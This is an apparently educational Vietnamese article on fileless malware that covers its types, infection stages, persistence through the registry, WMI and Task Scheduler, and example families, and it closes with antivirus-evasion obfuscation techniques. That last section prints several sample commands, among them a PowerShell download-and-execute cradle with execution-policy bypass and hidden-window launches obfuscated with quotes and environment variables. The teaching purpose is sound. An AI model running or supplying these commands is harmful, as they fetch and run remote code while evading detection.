Hiện nay, fileless malware (tạm dịch là mã độc không cần tập tin) đang trở thành một phương pháp tấn công phổ biến của các tội phạm mạng bởi nó có những đặc điểm gây ít sự chú ý và khả năng né tránh các biện pháp kiểm soát bảo mật thông thường. Do khả năng né tránh các biện pháp kiểm soát bảo mật đa dạng, các tổ chức cần tập trung vào việc theo dõi, phát hiện và ngăn chặn các hoạt động độc hại thay vì dựa vào các phương pháp truyền thống như dò quét tìm mã độc dựa vào signature. Phần này sẽ trình bày các khái niệm liên quan đến fileless malware.
Để hiểu thêm, mời các bạn tìm đọc bài viết thuộc chuyên mục CEH Tiếng Việt.
Fileless malware là gì?
Fileless malware còn được gọi là non-malware, lây nhiễm vào phần mềm hợp pháp thông thường, nó tận dụng các lỗ hổng hiện có để lây nhiễm vào hệ thống. Loại malware thường tồn tại trong bộ nhớ RAM. Nó inject mã độc vào các tiến trình đang chạy như Microsoft Word, Flash, Adobe PDF Reader, Javascript, PowerShell, .NET, Macros, Windows Management Instrumentation (WMI), …
Fileless malware không phụ thuộc file và không để lại dấu vết, do đó việc phát hiện và loại bỏ nó rất khó khăn. Nó chủ yếu tồn tại trong các vị trí bộ nhớ khả biến như các tiến trình đang chạy, registry hệ thống và các service areas. Một khi xâm nhập, nó có thể tận dụng các công cụ quản trị hệ thống và tiến trình để duy trì tính liên tục, leo thang đặc quyền quyền và lây lan theo chiều ngang qua mạng mục tiêu.
Phân loại các mối đe dọa trong fileless malware
Như được thể hiện trong hình dưới đây, các mối đe dọa được chia thành các mục khác nhau:
Fileless malware có thể được phân loại dựa trên point of entry, tức là cách mà mã độc tạo ra entry point vào hệ thống mục tiêu. Theo phân loại trên, các mối đe dọa có ba loại dựa trên mức độ chứng cứ mà chúng để lại trên máy tính:
Type 1: No File Activity Performed
Loại malware này không cần ghi file lên đĩa. Mã độc có thể được nhúng trong firmware của thiết bị, và các giải pháp antivirus không thể kiểm tra firmware của một thiết bị. Do đó, việc phát hiện và ngăn chặn các mối đe dọa như vậy rất khó khăn.
Type 2: Indirect File Activity
Ví dụ hacker có thể inject một lệnh PowerShell vào WMI repository để cấu hình filter thực thi định kỳ.
Type 3: Required Files to Operate
Hacker khai thác một tài liệu có macro, file Java/Flash hoặc file EXE để inject các payload vào mục tiêu.
Fileless malware hoạt động như thế nào?
Một số giai đoạn hoạt động của fileless malware như sau:
Point of Entry
- Memory Exploits: Inject và thực thi chính nó trong bộ nhớ của tiến trình hợp lệ trên hệ thống. Nó khai thác bộ nhớ và đặc quyền của các công cụ hệ thống được đưa vào whitelist Windows Management Instrumentation (WMI), PowerShell, Command.exe, PsExec, ….
- Malicious Website: Khi người dùng truy cập vào một website chứa mã độc, exploit kit bắt đầu quét các lỗ hổng. Nếu thành công, nó sẽ gọi PowerShell để download và thực thi trực tiếp trong bộ nhớ mà không cần ghi file.
- Phishing Email/Malicious Documents: Hacker có thể nhúng các macro dưới dạng VBScript hoặc JavaScript trong file Microsoft Office (Word, PowerPoint, Excel) hoặc PDF và sử dụng các kỹ thuật social engineering để khiến người dùng chạy các macro trên hệ thống của mình.
Code Execution
- Code injection: Sử dụng các kỹ thuật như process hollowing và reflective DLL injection cho phép tải shellcode trực tiếp vào bộ nhớ mà không cần ghi file vào đĩa.
- Script-based Injection: Malware được nhúng trong tài liệu. Khi tài liệu mở, script chạy trong bộ nhớ, làm cho việc phát hiện chúng khó khăn đối với các giải pháp chống malware truyền thống.
Persistence
Fileless malware không có bền vững vì nó được lưu trữ trong bộ nhớ. Khi khởi động lại máy, mã độc sẽ bị xóa khỏi bộ nhớ và ngừng lây nhiễm. Tuy nhiên, tùy thuộc vào mục tiêu của hacker, các script có thể được lưu trong các công cụ tích hợp trong Windows như Windows Registry, WMI và Windows Task Scheduler và được cấu hình để chạy ngay cả sau khi hệ thống khởi động lại.
- Windows Registry: Hacker có thể lưu trữ các kịch bản trong các key Registry AutoStart của Windows để chúng được load và thực thi mỗi khi máy khởi động lại.
- Windows Management Instrumentation (WMI): WMIlà một công cụ thường được sử dụng để tự động hóa các nhiệm vụ quản trị hệ thống, để đạt và duy trì tính bền vững. Trong trường hợp này, hacker lưu script trong kho WMI và chúng được kích hoạt định kỳ thông qua các ràng buộc WMI.
- Windows Task Scheduler: Hacker có thể tự động kích hoạt và thực thi script trong một khoảng thời gian được chọn.
Achieving Objectives
Bằng cách duy trì tính bền vững, hacker vượt qua các giải pháp bảo mật và đạt được mục đích.
Kỹ thuật khởi chạy fileless malware
In-Memory Exploits
Hacker có thể inject mã độc vào bộ nhớ RAM và nhắm vào các tiến trình hợp pháp mà không để lại bất kỳ dấu vết nào. Sự xâm nhập như vậy rất khó bị phát hiện vì mã độc không được lưu trữ trên đĩa mà được thực thi trực tiếp từ bộ nhớ. Hacker khai thác các API hoặc các công cụ quản lý hệ thống WMI, PSExec và PowerShell để truy cập vào bộ nhớ tiến trình của một tiến trình bình thường. Hacker sử dụng phương pháp thư viện liên kết động phản chiếu (reflective Dynamic Link Library – DLL) để tải một script vào tiến trình đồng thời chống lại việc ghi DLL lên đĩa.
EternalBlue là một loại tấn công trong bộ nhớ có thể tận dụng lỗ hổng trong giao thức chia sẻ tệp của Windows là Server Message Block (SMB 1). Hacker sau đó nhắm vào file lsass.exe và inject mã độc vào. File lsass.exe này được thiết kế để xử lý việc đăng nhập/đăng xuất và xác minh thông tin đăng nhập của người dùng, và cũng thực hiện các hoạt động quan trọng khác. Hacker khai thác file này để và tránh các biện pháp bảo mật bằng cách sử dụng các công cụ như Mimikatz để truy cập thông tin từ bộ nhớ.
Script-based Injection
Hacker sử dụng các script trong đó file nhị phân và shellcode được nhúng, làm mờ và biên dịch để tránh tạo file trên đĩa. Nhiều mối đe dọa fileless cổ điển như KOVET, POWMET và FAREIT đã sử dụng các script để lây lan malware.
Khai thác các công cụ System Admin
Hacker khai thác các công cụ quản trị hệ thống như Certutil và Windows Management Interface Command (WMIC) để đánh cắp thông tin. Các công cụ dòng lệnh như Microsoft registered server (Regsvr32) và rundll32 đôi khi cũng bị khai thác để chạy các DLL.
LemonDuck
LemonDuck là một loại fileless malware trên ngôn ngữ Python, lan truyền qua các server chạy Microsoft Exchange và server Linux cấp doanh nghiệp trên toàn thế giới. Quá trình lây nhiễm bắt đầu bằng việc khai thác các lỗ hổng SMB thông qua các chiến dịch lừa đảo hoặc tấn công dò mật khẩu. Nó sử dụng khả năng khai thác tiền mã hóa (cryptojacking) để ẩn giấu bản thân và duy trì tính nguyên vẹn ngay cả sau khi áp dụng các bản cập nhật bản vá.
Loại malware này có thể lây lan dưới hai biến thể đó là LemonDuck và LemonCat với hai mục đích khác nhau. LemonDuck có khả năng chạy các chiến dịch lừa đảo nhằm tấn công các thiết bị biên (edge devices) để lây nhiễm. Trái ngược với điều đó, LemonCat sử dụng một domain chứa từ “cat” và cài đặt một backdoor để liên tục gửi mã độc nhằm lan truyền. Cả LemonDuck và LemonCat lây nhiễm vào máy mục tiêu để xuyên phá các biện pháp kiểm soát bảo mật, duy trì tính bền vững.
Ngoài ra còn có một số loại malware khác như:
- Divergent
- DarkWatchman
- BazarBackdoor
- Astaroth Backdoor
- Nodersok
- Vaporworm
- njRat Backdoor
- Sodinokibi Ransomware
- Kovter and Poweliks
- Dridex
- Hancitor/Chanitor
- Sorebrect Ransomware
Kỹ thuật lẩn tránh phần mềm Antivirus
Fileless malware không lưu trữ bất kỳ file nào lên đĩa cứng do đó rất khó để phát hiện chúng. Ngoài ra hacker còn sử dụng nhiều kỹ thuật lẩn tránh để che giấu không bị phát hiện càng lâu càng tốt.
Chèn ký tự
Hacker chèn các ký tự đặc biệt như dấu phẩy (,) và dấu chấm phẩy (;) giữa các lệnh và chuỗi để làm cho các lệnh khó phát hiện hơn. Những ký tự đặc biệt này được coi là các ký tự khoảng trắng trong các đối số dòng lệnh; do đó, chúng được xử lý một cách dễ dàng. Bằng cách sử dụng kỹ thuật này, hacker phân mảnh mã độc để tránh bị phân tích bởi các giải pháp dựa trên signature.
Ví dụ, thay vì sử dụng một lệnh hoàn chỉnh, hacker có thể chia thành các phần nhỏ và chèn các ký tự đặc biệt giữa chúng, như sau:
,;cmd.exe,/c,;echo;powershell.exe -NoExit -exec bypass -nop
Invoke-Expression(New-ObjectSystem.Net.WebClient).Downloadstring('https://targetwebsite.com") &&echo,exit
Thêm dấu ngoặc đơn
Trong các tình huống thông thường, dấu ngoặc đơn được sử dụng để cải thiện khả năng đọc của code hoặc nhóm các biểu thức phức tạp và phân chia lệnh. Khi sử dụng dấu ngoặc đơn, các biến của code được đánh giá như một lệnh trên một dòng duy nhất. Hacker lợi dụng tính năng này để phân mảnh và làm rối các lệnh. Ví dụ, trong câu lệnh sau:
cmd.exe /c ((echo commandl)
&& (
echo command2))
Dấu ngoặc đơn được sử dụng để chia lệnh thành hai phần nhỏ, trong đó mỗi phần được giữ trong một cặp dấu ngoặc đơn riêng biệt. Điều này làm cho việc đọc lệnh trở nên khó hiểu và khó phân tích.
Sử dụng dấu ngoặc kép
Khi một lệnh được nhúng trong dấu ngoặc kép, nó không ảnh hưởng đến việc thực thi của lệnh. Hơn nữa, trình phân tích dòng lệnh sử dụng ký hiệu dấu ngoặc kép làm ký tự phân tách đối số. Hacker sử dụng ký hiệu dấu ngoặc kép để nối các lệnh trong các đối số. Trong ví dụ sau:
Pow""er""Shell -N""oExit -Executionpolicy bypass -noprofile -windowstyle hidden cmd /c Flower.jpg
Hacker sử dụng ký hiệu dấu ngoặc kép để nối các từ trong lệnh. Việc này làm cho lệnh độc hại trông như là một đối số duy nhất được truyền vào lệnh PowerShell.
Sử dụng các biến môi trường
Một phương pháp khác được hacker sử dụng để làm rối fileless malware là sử dụng biến môi trường. Trong hệ điều hành Windows, biến môi trường là các đối tượng động, lưu trữ các giá trị có thể sửa đổi được được ứng dụng sử dụng trong quá trình chạy. Hacker lợi dụng biến môi trường để phân mảnh các lệnh độc hại thành nhiều chuỗi. Hơn nữa, chúng thiết lập giá trị cho biến môi trường trong quá trình chạy để thực thi các lệnh độc hại.
Trong ví dụ sau:
set a=Power && set b=Shell && %a:~0,-l%%b% -ExecutionPolicy bypass -noprofile -windowstyle hidden cmd /c Products.pdf
Hacker đặt giá trị cho biến môi trường “a” là “Power” và biến môi trường “b” là “Shell“. Sau đó, chúng sử dụng cú pháp %a:~0,-l%%b%
để tạo thành lệnh “Powershell“. Việc sử dụng biến môi trường như vậy giúp làm rối và ẩn các lệnh độc hại, gây khó khăn trong việc phát hiện và phân tích bởi các giải pháp an ninh truyền thống.
Sử dụng biến môi trường được gán trước
Hacker truy xuất các ký tự cụ thể từ các biến môi trường đã được gán trước như “%CommonProgramFiles%“. Các ký tự trong các biến này được truy cập thông qua chỉ mục. “%CommonProgramFiles%” chứa giá trị mặc định “C:\Program Files\Common Files”. Các ký tự cụ thể từ giá trị này có thể được truy cập thông qua chỉ mục và được sử dụng để thực thi các lệnh độc hại như sau:
cmd.exe /c "%CommonProgramFiles:~3,l%owerShell.exe" windowstyle hidden -command wscript myscript.vbc
Trong lệnh trên, một ký tự đơn ‘P‘ được truy xuất từ chỉ mục 3, sau đó được ghép nối với “owerShell.exe“, và thực thi các lệnh độc hại.